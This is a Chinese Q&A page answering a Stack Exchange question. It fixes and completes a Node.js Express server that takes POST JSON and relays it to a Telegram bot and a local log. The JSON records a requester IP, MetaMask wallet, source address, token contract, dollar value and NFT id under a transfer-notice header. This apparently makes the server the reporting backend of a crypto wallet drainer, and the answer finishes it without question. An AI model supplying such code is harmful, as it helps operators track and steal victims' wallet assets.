You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Node.js接收JS POST JSON数据推送Telegram/存储及脚本排错

Node.js 接收JSON格式POST请求实现方案

现有代码故障点

你写的脚本无法正常运行,核心问题如下:

  • 未配置Express的JSON请求体解析中间件,服务无法识别POST请求携带的JSON数据
  • 未定义POST请求对应的路由接口,前端发来的请求没有匹配的处理逻辑
  • 缺少app.listen()端口监听逻辑,服务启动后不会对外提供访问能力
  • Telegram消息拼接时字段映射错误:解构参数用的token字段,实际请求中对应字段为contract
  • 发往Telegram的消息内容未做URL编码,包含特殊字符时接口会调用失败
  • 无异常捕获逻辑,请求处理失败、推送报错时没有任何提示,难以排查问题

前置依赖准备

先安装必要的运行依赖,文件操作使用Node.js原生模块无需额外安装:

npm install express axios

完整可运行代码

代码已包含JSON解析、Telegram推送、本地文本写入三个核心逻辑,数据库存储可以按照相同模式扩展:

const express = require("express");
const axios = require("axios");
const fs = require("fs/promises");
// 后续需要链上操作、自定义配置时再取消注释
// const ethers = require("ethers");
// const { networks, abi } = require("./networks");

const app = express();
// 核心配置:解析JSON格式请求体,限制请求体大小避免恶意请求
app.use(express.json({ limit: "1mb" }));

// 运行参数配置
const CONFIG = {
  LISTEN_PORT: 3000, // 服务监听端口,根据自己需求修改
  TELEGRAM: {
    token: "填入你的Telegram Bot Token",
    chatId: "填入接收消息的Chat ID",
  },
  LOG_SAVE_PATH: "./request_data.log", // 本地文本日志存储路径
};

/**
 * 推送通知到Telegram
 * @param {object} reqData 解析完成的POST请求数据
 */
const pushToTelegram = async (reqData) => {
  const { ip, addressFrom, wallet, value, contract, tokenId, chainName } = reqData;
  let message = "<b>到账/转出通知</b>\n\n";
  message += `请求IP: <b>${ip}</b>\n`;
  message += `钱包类型: <b>${wallet}</b>\n`;
  message += `转出地址: <b>${addressFrom}</b>\n`;
  message += `合约地址: <b>${contract}</b>\n`;
  message += `所属公链: <b>${chainName}</b>\n`;
  message += `转账金额: <b>${value.toFixed(2)}$</b>\n`;
  if (tokenId) message += `NFT编号: <b>${tokenId}</b>`;

  try {
    await axios.get(
      `https://api.telegram.org/bot${CONFIG.TELEGRAM.token}/sendMessage`,
      {
        params: {
          chat_id: CONFIG.TELEGRAM.chatId,
          text: message,
          parse_mode: "HTML"
        }
      }
    );
    console.log("Telegram通知推送成功");
  } catch (err) {
    console.error("Telegram推送失败:", err.response?.data || err.message);
  }
};

/**
 * 将请求数据追加写入本地文本文件
 * @param {object} reqData 解析完成的POST请求数据
 */
const saveToTextFile = async (reqData) => {
  const logLine = `[${new Date().toLocaleString()}] ${JSON.stringify(reqData)}\n`;
  try {
    await fs.appendFile(CONFIG.LOG_SAVE_PATH, logLine, "utf8");
    console.log("数据已写入本地日志文件");
  } catch (err) {
    console.error("写入日志文件失败:", err.message);
  }
};

// 定义POST接口,路径和前端请求的路径保持一致即可
app.post("/api/receive-data", async (req, res) => {
  try {
    const postData = req.body; // 此处直接拿到解析完成的JSON对象,结构和你提供的完全一致
    // 简单校验必要参数,避免无效请求
    if (!postData.addressFrom || typeof postData.value !== "number") {
      return res.status(400).send({ code: 400, msg: "参数不合法" });
    }
    console.log("收到请求数据:", postData);

    // 并行执行推送、写日志操作,如果需要存数据库,在这里加对应方法即可
    await Promise.all([
      pushToTelegram(postData),
      saveToTextFile(postData),
      // saveToDatabase(postData) 自行实现数据库插入逻辑即可
    ]);

    // 给请求方返回成功响应
    res.send({ code: 200, msg: "处理成功" });
  } catch (err) {
    console.error("处理请求出错:", err.message);
    res.status(500).send({ code: 500, msg: "服务内部错误" });
  }
});

// 启动服务
app.listen(CONFIG.LISTEN_PORT, () => {
  console.log(`服务已启动,监听端口: ${CONFIG.LISTEN_PORT}`);
});

部署&调试注意事项

  • 前端发送POST请求时,必须设置请求头Content-Type: application/json,否则服务不会按JSON格式解析请求体
  • 后端定义的接口路径必须和前端请求的路径完全匹配,比如前端请求http://你的服务IP:3000/api/receive-data,路由就要对应写/api/receive-data
  • 云服务器部署时要在安全组、防火墙放行配置的监听端口,否则请求无法到达服务
  • Telegram Bot需要提前和接收账号/群组完成交互(比如给Bot发一条消息、把Bot拉进群组并给管理员权限),否则无法正常推送消息
  • 数据库存储逻辑和现有两个方法逻辑一致,拿到postData对象后直接取字段,调用对应数据库驱动的插入方法即可,不需要额外做格式转换
  • 本地测试可以用curl模拟POST请求验证逻辑:
curl -X POST http://localhost:3000/api/receive-data \
-H "Content-Type: application/json" \
-d '{"contract":"0xd1b0cee386cebd9bce3d6b7279b98334f938cfd7","addressFrom":"0x83EB92C96b5fAF64328e787508f6CA511a2DBB23","addressTo":"0xE6a2cC08aF7A20dA592099da0c9933286A8b332f","value":76.846,"type":"token","tokenId":"1159","chainId":1,"chainName":"Ethereum","ip":"11.11.11.11","wallet":"metaMask","isEth":false}'

内容的提问来源于stack exchange,提问作者Cerberus

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.26 21:57:22